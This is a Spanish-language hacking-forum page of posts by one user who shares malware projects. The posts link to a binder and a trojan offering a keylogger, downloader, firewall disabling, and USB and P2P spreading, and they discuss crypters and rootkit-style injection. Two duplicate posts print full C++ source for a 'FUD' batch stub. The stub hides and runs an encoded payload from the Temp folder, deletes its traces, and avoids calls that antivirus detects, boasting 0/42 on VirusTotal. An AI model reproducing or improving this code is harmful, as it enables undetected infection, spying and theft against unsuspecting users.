Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - hacker83

#1
Bueno eh estado trabajando en este proyecto durante dias! queria conseguir crear un binder que junte cualquier tipo de archivo y sin importar cuantos, ademas de incluirle metodos de compresion como FSG & UPX. esta programado en C++ el que quiera o le interese el code, solo comenten que lo publico.

Se pueden escojer 10 formas diferentes de ejecutar los archivos que van a ser blindeados, hasta el dia de hoy, ya que no lo eh subido a paginas tales como virustotal. esta bastante indetectable, creo que el ultimo escaneo solo lo detectaba un antivirus como sospechoso. sin mas preambulo les dejo dos imagenes y el link de descarga.






Aqui les dejo la descarga! Comenten que tal les parecio, saludos!

Disculpen por no dejar el codigo, les dejo el codigo! saludos.

http://www.mediafire.com/?9cdwqobxgr7o292
#2
Si eso estaba enterado, no queria depender de la DLL para hacer el HOOK en el keyboard  :rolleyes: si a mi vb mucho no me llevo, Ja asi que aquel que quiera colaborar el servidor esta en C++! ya lo estoy cambiando, y si esta desarrollado con WINAPI.
y no va a quedar otra que desarollar el HOOK y atravez del downloader que trae incoporado descargar la libreria y ya que esta que la inyecte y sea tipo rootkit.  :laugh:
#3
Bueno antes que nada quiero aclarar que este troyano lo desarrolle en menos de 3 dias, no le llega ni a los talones a un troyano verdadero tales como bifrost, spy net, poison, etc. pero solo me intereso la idea de tratar de desarrollar algun tipo de troyano. ya que previamente habia hecho varias funciones FUD con cosas tales como generar Autoruns indetectables a los 42 antivirus, asi como un downloader encryptado  en su llamado. como inyeccion de api shellexecute en otro proceso,etc.

El servidor lo programe en C++ y el cliente en VB. Como sabran yo de VB no se nada y de C me defiendo, podria mejorarle muchas cosas pero como que trabajar solo en el proyecto no me gusta, se me hace mejor como de a mas personas...

Al que este interesado me gustaría que avise por comentarios o por donde sea, mp, msn.

Desarrollar el entorno del cliente en C++ me tomaría mucho tiempo asi que por eso decidí hacerlo en VB al menos como para comprobar si las funciones andan.
No le puse para capturar la pantalla ni la cámara web, tengo para hacerlo y el método keylogger que utiliza es diferente al HOOK y al uso simple de la API GetAsyncKeyState. lo probe y funciona perfecto. tienes opciones tales como


*Abrir el cd
*Apagar el monitor
*Envio de mensajes
*Downloader (Falta configurar cliente)
*Envio de archivos (falta configurar cliente)
*Desarrollando el metodo de Compresión ZIP basado en el worm MyDoom
*Apagado de ordenador
*Manejo de procesos
*Eliminar archivos
*Ejecutar archivos
*Alocar el mouse
*Invertir botones el mouse
*Envio de teclas
*Desactivado de servicios
*Kill de utilidades del sistema
*Firewall de Windows.
*Bloqueo de ventanas.
*Recibir archivos
*Envio de MAIL motor SMTP GMAIL.
*Propagacion USB | ARES.

*Tiene bastante estabilidad por lo que llege a testear entre PC's de prueba.


Les dejo los compilados Junto con sus respectivos Sources.

http://www.mediafire.com/?xq3cd1efqkkbjie

Saludos!

PD: Ojala alguno quiera participar!  :P
#4
busque y trata de leer el PEB desde C++ solo para obtener ni APPNAME.
y no lo logre, no tengo los conocimientos suficientes de asm como para entender como lo haces en asm y asi pasarlo a C.
serias tan amable de dar un ejemplo ? asi lo estudio ya que estoy interesado en aprender ASM. pero quiero dar por hecho eso de leer el process block environment de mi APP en C-
#5
Mira un crypter puede funcionar de diferentes maneras, depende como este programado.
Puede hasta usara diferentes métodos de encryptacion o diferentes heuristicas.
Algunos podrían crear archivos temporales y otros no. ( Lo cargarian en memoria )
Podrías diseñar uno en cualquier lenguaje de programación, Es recomendado por lo menos para mi gusto, C/C++.
También podrías hacerlo en Visual Basic, si lo programas bien ningun archivo generado saldra dañado. Llega a ser detectado depende el tiempo o depende su heuristica, método de cryptar, firmas, etc.
Si subes el archivo a la web lo mas probable que dure menos tiempos siendo indetectable que estando solo en tu ordenador.
Espero que te haya servido.
#6
Cita de: Karcrack en 27 Abril 2012, 15:24 PM
Sería mejor ejecutar el código del BATCH sin meterlo en el HD. Usando WinExec() por ejemplo... si concatenas las lineas con & puedes ejecutar un código BATCH tan complejo como necesites.
Yo haría otras mejoras, como leer la ruta desde el PEB y otras cositas, si me animo y tengo tiempo hago uno :P

Respecto al cifrado... no será ROT13?

Saludos >:D

JA si disculpa me equivoque es ROT13.
Dale estaria bueno, si tambien podria usar Pipes para que no cree un archivo temporal asi como tambien inyectar el WinExec en otro proceso del sistema (Pero esto lo haria mas detectado).
Tampoco me puse a hacerle tantas cosas. solo estaba probando una manera diferente, pero me gustaria tal vez, hacer una buena utilidad, es decir. (ESTA)
pero que funcione bien. Se me habia ocurrido agregarles comandos como download, playsound, etc. todos sin necesidad de otros archivos, es decir buscar en el batch esos comandos escritos, y desde C/C++ (Stub) al ejecutar haga sus funciones con sus respectivos parametros.
Seria un honor si quisieras ayudar en el proyecto, por si no lo sabes Tu y [Zero]
Son como unos ejemplos a seguir jaja, es como una emocion  :xD
#7
Bueno hace rato que no programa nada, y se me ocurrio hacer un simple batch compiler. Pero tenia ganas de hacer algo diferente como por ejemplo no ese simple compilador que lo guarda y lo ejecuta en modo oculto.

Este cripta el batch con el metodo TOR 13.
Espera que el batch termine de ejecutarce para eliminar rastros.  (sin usar DeleteFileA) ya que su heuristica es detectada por al menos 3 antivirus.
Sustituye el valor de %0 del batch por el valor de nuestro compilado, es decir que si compilamos un batch con el siguiente codigo.


Código (dos) [Seleccionar]

@echo off
copy /y %0 C:\copia.bat
exit


Lo que hara es copiarce el bat sin compilarce. (Me explico?)
A hora tiene la opcion de cambiar ese valor por el compilado por lo cual en ves de copiar el batch, copia el batch pero en exe. es decir Generado (de nuevo ja)

Bueno aca les dejo el source.

Código (cpp) [Seleccionar]

#include <windows.h>
#include <stdio.h>

/*
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Batch stub - Incluye cryptacion tor 13
//Modulo de autocopia exe - no deja rastros.
//Neeco - Version 1.0
//FUD 0/42 - https://www.virustotal.com/file/204540f7def3a75fd4a8830a9c19031f5fd417b66e4c67d8527c510348c9327a/analysis/1335515677/
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdShow ) {

PROCESS_INFORMATION pi;
STARTUPINFO stinfo;
DWORD i, dwBytes;

char *a = "\"";
char *nuevo = (char*) GlobalAlloc (GPTR, 500 + MAX_PATH);
char *add = (char*) GlobalAlloc (GPTR, 250 );

stinfo.cb = sizeof ( STARTUPINFO );

char *appname = (char*) GlobalAlloc ( GPTR, MAX_PATH );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), appname, MAX_PATH );

HANDLE file = CreateFileA ( appname, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD size = GetFileSize ( file, 0 );

char *buffer = (char*) GlobalAlloc ( GPTR, size );
char *batch = (char*) GlobalAlloc ( GPTR, size );

ReadFile ( file, buffer, size, &dwBytes, 0 );
CloseHandle ( file );

//Buscamos el buffer
for (i = 0; i<=size; i++ ) {
if ( buffer[i] == '*' && buffer[i+1] == '+' && buffer[i+2] == '*' ) {
batch = buffer + (i+3);
break;
}
}

//Sabremos si tenemos EOF agregado
if ( batch[0] == 142 || batch[0] == 0x00 ) {
ExitProcess (0);
}

//Aplicamos la cryptacion TOR13
for ( i = 0; size-(i+3); i++ ) {
batch[i] = batch[i] - 13;
}

//FUNCION AppName change %0 -
int x, count = 0;
BOOL stac = FALSE;
for ( i = 0; i<=lstrlenA(buffer); i++ ) {
if ( buffer[i] == 37 && buffer[i+1] == 48 ) {
add = buffer + i + 2;
nuevo[i-1] = 34;

CopyMemory (&nuevo[0], &buffer[0], i-1);
CopyMemory (&nuevo[lstrlenA(nuevo)], &appname[0], lstrlenA(appname));
CopyMemory (&nuevo[lstrlenA(nuevo)],&a[0],1);
CopyMemory (&nuevo[lstrlenA(nuevo)], &add[0], lstrlenA(add));

stac = TRUE;
}
}

//Esta funcion la hacemos con WINAPI - Rango de detectabilidad heuristico : 20 %
//Con lib stdio : 2,0 # fstream - 0,0

LPSTR Dir = (LPSTR) GlobalAlloc ( GPTR, MAX_PATH);
GetWindowsDirectoryA ( Dir, MAX_PATH );

lstrcatA ( Dir, "\\Temp\\tA1xcp.bat" );

HANDLE File = CreateFileA ( Dir, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( stac == FALSE ) {
WriteFile ( File, batch, size - (i+3), &dwBytes, 0 );
CloseHandle ( File );
} else {
WriteFile ( File, nuevo, size - (i+3) + lstrlenA(appname), &dwBytes, 0 );
CloseHandle ( File );
}

//'Lo creamos a escondidas.
SetFileAttributesA ( Dir, 0x1|0x2|0x4 );

//Abrimos el batch generado.
CreateProcess ( Dir, 0, 0, 0, FALSE, 0, 0, 0, &stinfo, &pi );

//Esperamos a que termine de ejecutarce
WaitForSingleObject ( pi.hProcess, INFINITE );
TerminateProcess ( pi.hProcess, 0 );

CloseHandle ( pi.hProcess );
CloseHandle ( pi.hThread );

//Borramos rastros de el.
SetFileAttributesA ( Dir, FILE_ATTRIBUTE_NORMAL );
//DeleteFileA ( Dir ); - Es detectada
remove ( Dir );

GlobalFree ( Dir );
GlobalFree ( appname );
GlobalFree ( nuevo ), GlobalFree ( add );
GlobalFree ( buffer ), GlobalFree ( batch );

return 0;
}



El compilador todavía no lo hice, pero no es nada difícil, para los que tienen algo de conocimiento en el lenguaje y maneja TOR13, lo hace enseguida.

Esta FUD / lo analice en virus total (si ya se no tendría que haberlo subido ahí)
0/42 - el link esta en el source. (link del scaneo online by virustotal.com)

Saludos - Cualquier duda critica o lo que sea solo comenten.
Gracias.
#8
Bueno hace rato que no programa nada, y se me ocurrio hacer un simple batch compiler. Pero tenia ganas de hacer algo diferente como por ejemplo no ese simple compilador que lo guarda y lo ejecuta en modo oculto.

Este cripta el batch con el metodo TOR 13.
Espera que el batch termine de ejecutarce para eliminar rastros.  (sin usar DeleteFileA) ya que su heuristica es detectada por al menos 3 antivirus.
Sustituye el valor de %0 del batch por el valor de nuestro compilado, es decir que si compilamos un batch con el siguiente codigo.


Código (dos) [Seleccionar]

@echo off
copy /y %0 C:\copia.bat
exit


Lo que hara es copiarce el bat sin compilarce. (Me explico?)
A hora tiene la opcion de cambiar ese valor por el compilado por lo cual en ves de copiar el batch, copia el batch pero en exe. es decir Generado (de nuevo ja)

Bueno aca les dejo el source.

Código (cpp) [Seleccionar]

#include <windows.h>
#include <stdio.h>

/*
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Batch stub - Incluye cryptacion tor 13
//Modulo de autocopia exe - no deja rastros.
//Neeco - Version 1.0
//FUD 0/42 - https://www.virustotal.com/file/204540f7def3a75fd4a8830a9c19031f5fd417b66e4c67d8527c510348c9327a/analysis/1335515677/
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdShow ) {

PROCESS_INFORMATION pi;
STARTUPINFO stinfo;
DWORD i, dwBytes;

char *a = "\"";
char *nuevo = (char*) GlobalAlloc (GPTR, 500 + MAX_PATH);
char *add = (char*) GlobalAlloc (GPTR, 250 );

stinfo.cb = sizeof ( STARTUPINFO );

char *appname = (char*) GlobalAlloc ( GPTR, MAX_PATH );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), appname, MAX_PATH );

HANDLE file = CreateFileA ( appname, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD size = GetFileSize ( file, 0 );

char *buffer = (char*) GlobalAlloc ( GPTR, size );
char *batch = (char*) GlobalAlloc ( GPTR, size );

ReadFile ( file, buffer, size, &dwBytes, 0 );
CloseHandle ( file );

//Buscamos el buffer
for (i = 0; i<=size; i++ ) {
if ( buffer[i] == '*' && buffer[i+1] == '+' && buffer[i+2] == '*' ) {
batch = buffer + (i+3);
break;
}
}

//Sabremos si tenemos EOF agregado
if ( batch[0] == 142 || batch[0] == 0x00 ) {
ExitProcess (0);
}

//Aplicamos la cryptacion TOR13
for ( i = 0; size-(i+3); i++ ) {
batch[i] = batch[i] - 13;
}

//FUNCION AppName change %0 -
int x, count = 0;
BOOL stac = FALSE;
for ( i = 0; i<=lstrlenA(buffer); i++ ) {
if ( buffer[i] == 37 && buffer[i+1] == 48 ) {
add = buffer + i + 2;
nuevo[i-1] = 34;

CopyMemory (&nuevo[0], &buffer[0], i-1);
CopyMemory (&nuevo[lstrlenA(nuevo)], &appname[0], lstrlenA(appname));
CopyMemory (&nuevo[lstrlenA(nuevo)],&a[0],1);
CopyMemory (&nuevo[lstrlenA(nuevo)], &add[0], lstrlenA(add));

stac = TRUE;
}
}

//Esta funcion la hacemos con WINAPI - Rango de detectabilidad heuristico : 20 %
//Con lib stdio : 2,0 # fstream - 0,0

LPSTR Dir = (LPSTR) GlobalAlloc ( GPTR, MAX_PATH);
GetWindowsDirectoryA ( Dir, MAX_PATH );

lstrcatA ( Dir, "\\Temp\\tA1xcp.bat" );

HANDLE File = CreateFileA ( Dir, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( stac == FALSE ) {
WriteFile ( File, batch, size - (i+3), &dwBytes, 0 );
CloseHandle ( File );
} else {
WriteFile ( File, nuevo, size - (i+3) + lstrlenA(appname), &dwBytes, 0 );
CloseHandle ( File );
}

//'Lo creamos a escondidas.
SetFileAttributesA ( Dir, 0x1|0x2|0x4 );

//Abrimos el batch generado.
CreateProcess ( Dir, 0, 0, 0, FALSE, 0, 0, 0, &stinfo, &pi );

//Esperamos a que termine de ejecutarce
WaitForSingleObject ( pi.hProcess, INFINITE );
TerminateProcess ( pi.hProcess, 0 );

CloseHandle ( pi.hProcess );
CloseHandle ( pi.hThread );

//Borramos rastros de el.
SetFileAttributesA ( Dir, FILE_ATTRIBUTE_NORMAL );
//DeleteFileA ( Dir ); - Es detectada
remove ( Dir );

GlobalFree ( Dir );
GlobalFree ( appname );
GlobalFree ( nuevo ), GlobalFree ( add );
GlobalFree ( buffer ), GlobalFree ( batch );

return 0;
}



El compilador todavía no lo hice, pero no es nada difícil, para los que tienen algo de conocimiento en el lenguaje y maneja TOR13, lo hace enseguida.

Esta FUD / lo analice en virus total (si ya se no tendría que haberlo subido ahí)
0/42 - el link esta en el source. (link del scaneo online by virustotal.com)

Saludos - Cualquier duda critica o lo que sea solo comenten.
Gracias.